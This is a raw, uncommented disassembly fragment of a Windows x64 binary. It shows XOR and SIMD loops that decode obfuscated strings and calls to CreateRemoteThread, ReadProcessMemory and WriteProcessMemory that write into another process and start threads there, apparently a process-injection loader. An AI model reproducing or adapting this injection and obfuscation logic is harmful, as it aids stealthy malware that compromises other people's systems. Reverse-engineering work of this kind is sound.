movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm2, xmm6
pmuldq xmm4, xmm7
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm5
shufps xmm4, xmm1, 0xdd
psrad xmm2, xmm10
psubd xmm4, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, r8d
add edx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp edx, 0x10
jl 0x140260990
jmp 0x140260bb0
lea r10, [rsp + 0x50]
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x10
jl 0x140260b60
lea rcx, [rsp + 0x50]
call fcn.1401e4400
mov rax, qword [rbp - 0x48]
xor r8d, r8d
mov r9, qword [rbp - 0x40]
xor edx, edx
mov qword [rsp + 0x30], rbx
mov rcx, r13
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140260edb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0x14029cfb8]
mov r10d, eax
mov dword [rbp - 0x80], ecx
movzx ecx, byte [0x14029cfbc]
mov byte [rbp - 0x7c], cl
movups xmm0, xmmword [0x14029cfa0]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14029cfb0]
movsd qword [rsp + 0x78], xmm0
cmp esi, 2
jl 0x140260e3e
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140260c80
cmp eax, 0x1d
jge 0x140260e9a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x1d
jl 0x140260e50
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.1401e4400
mov rdx, rdi
xor r8d, r8d
mov r9d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rdx, qword [rbp - 0x40]
jmp 0x14025f78b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x14029cef0]
mov r9d, ebx
mov dword [rbp - 0x70], eax
movzx eax, word [0x14029cef4]
mov word [rbp - 0x6c], ax
movups xmm0, xmmword [0x14029cec8]
movups xmm1, xmmword [0x14029ced8]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14029cee8]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp esi, 2
jl 0x140261141
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x28
jl 0x140260f80
cmp r9d, 0x2e
jge 0x1402611a0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x2e
jl 0x140261150
mov rdx, qword [rbp - 0x40]
lea rcx, [rsp + 0x68]
call fcn.1401e4400
nop
lea rdx, [rbp + 0x50]
mov dword [rbp + 0x50], ebx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r10d, dword [rbp + 0x50]
cmp r10d, 0x103
jne 0x14026331d
mov rdx, qword [rbp - 0x48]
lea r8, [rbp + 0x10]
xorps xmm0, xmm0
mov qword [rsp + 0x20], rbx
mov r9d, 0x40
mov rcx, r13
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdi, qword [rbp + 0x30]
cmp rdi, 0x404040
je 0x14026306b
cmp rdi, 0x505050
jne 0x1402614ca
mov eax, dword [0x14029cdf8]
mov r9d, ebx
mov dword [rbp - 0x78], eax
movups xmm0, xmmword [0x14029cdd8]
movups xmm1, xmmword [0x14029cde8]
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp esi, 2
jl 0x140261461
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x20
jl 0x1402612a0
cmp r9d, 0x24
jge 0x1402614c0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x24
jl 0x140261470
lea rcx, [rsp + 0x68]
call fcn.1401e4400
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rdi, rdi
je 0x1402611b0
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
jne 0x1402617a9
movzx eax, word [0x14029cc68]
mov word [rbp - 0x80], ax
movzx eax, byte [0x14029cc6a]
mov byte [rbp - 0x7e], al
movups xmm0, xmmword [0x14029cc50]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x14029cc60]
movsd qword [rsp + 0x78], xmm0
cmp esi, 2
jl 0x140261741
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x18
jl 0x140261583
cmp eax, 0x1b
jge 0x14026179a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, bl
inc ebx
add cl, cl
xor byte [r9 - 1], cl
cmp ebx, 0x1b
jl 0x140261750
lea rcx, [rsp + 0x68]
call fcn.1401e4400
jmp 0x1402635b7
xor edx, edx
mov r8d, 0x1400000
mov rcx, rdi
call fcn.14026c5b8
mov rdx, qword [rbp - 0x50]
mov r9d, 0x1000
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140261aaa
cmp byte [0x14029ce55], bl
movups xmm0, xmmword [0x14029ce38]
mov eax, dword [0x14029ce50]
mov dword [rbp - 0x80], eax
movzx eax, word [0x14029ce54]
movups xmmword [rsp + 0x68], xmm0
mov word [rbp - 0x7c], ax
movsd xmm0, qword [0x14029ce48]
movsd qword [rsp + 0x78], xmm0
je 0x140261aa0
mov r9d, ebx
cmp esi, 2
jl 0x140261a41
movdqa xmm0, xmmword [0x14029d870]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x14029d7a0]
movdqa xmm6, xmmword [0x14029d880]
movdqa xmm7, xmmword [0x14029d890]
movdqa xmm12, xmmword [0x14029d8b0]
movdqa xmm13, xmmword [0x14029d7e0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
lea eax, [r9 + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x14029d850]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add r9d, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14029d850]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp r9d, 0x18
jl 0x140261880
cmp r9d, 0x1e
jge 0x140261aa0
movsxd rax, r9d
lea r10, [rsp + 0x68]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r10, [r10 + 1]
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, 0x23
add cl, r9b
inc r9d
add cl, cl
xor byte [r10 - 1], cl
cmp r9d, 0x1e
jl 0x140261a50
lea rcx, [rsp + 0x68]
call fcn.1401e4400
mov rcx, qword [rbp - 0x38]
mov dword [rbp + 0x50], ebx
movzx eax, word [rcx + 0x14]
lea rdi, [rcx + 0x18]
movzx ecx, word [rcx + 6]
add rdi, rax
test cx, cx
je 0x1402621ad
movzx r9d, word [0x14029cd9c]
mov ecx, ebx
mov r11d, dword [str.h:9__P]
movzx esi, byte [0x14029cce2]
movzx r10d, word [0x14029cce0]
nop dword [rax]
cmp dword [rdi + 8], ebx
je 0x140262191
mov dword [rbp - 0x60], r11d
lea r8, [rbp - 0x60]
xor byte [rbp - 0x5f], 0x48
movzx eax, r9b
xor byte [rbp - 0x5e], 0x4a
xor al, 0x4e
xor byte [rbp - 0x5d], 0x4c
mov word [rbp - 0x5c], r9w
xor byte [rbp - 0x5b], 0x50
mov byte [rbp - 0x5c], al
sub r8, rdi
mov rax, rdi
mov byte [rbp - 0x60], 0x2e
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140261b43
inc rax
test ecx, ecx
jne 0x140261b30
test edx, edx
je 0x140261bab
mov eax, dword [str.h:___3R]
lea r8, [rbp - 0x58]
mov dword [rbp - 0x58], eax
movzx ecx, sil
xor byte [rbp - 0x57], 0x48
movzx eax, r10b
xor byte [rbp - 0x56], 0x4a
xor al, 0x4e
xor byte [rbp - 0x55], 0x4c
xor cl, 0x52
mov word [rbp - 0x54], r10w
xor byte [rbp - 0x53], 0x50
mov byte [rbp - 0x54], al
sub r8, rdi
mov rax, rdi
mov byte [rbp - 0x58], 0x2e
mov byte [rbp - 0x52], cl
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140261ba3
inc rax
test ecx, ecx
jne 0x140261b90
test edx, edx
jne 0x14026218e
mov eax, dword [0x14029cdb0]
mov r9d, ebx
movups xmm0, xmmword [0x14029cda0]
mov esi, dword [0x1402af008]
mov dword [rsp + 0x78], eax
movzx eax, word [0x14029cdb4]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x14029cdb6]
mov byte [rsp + 0x7e], al
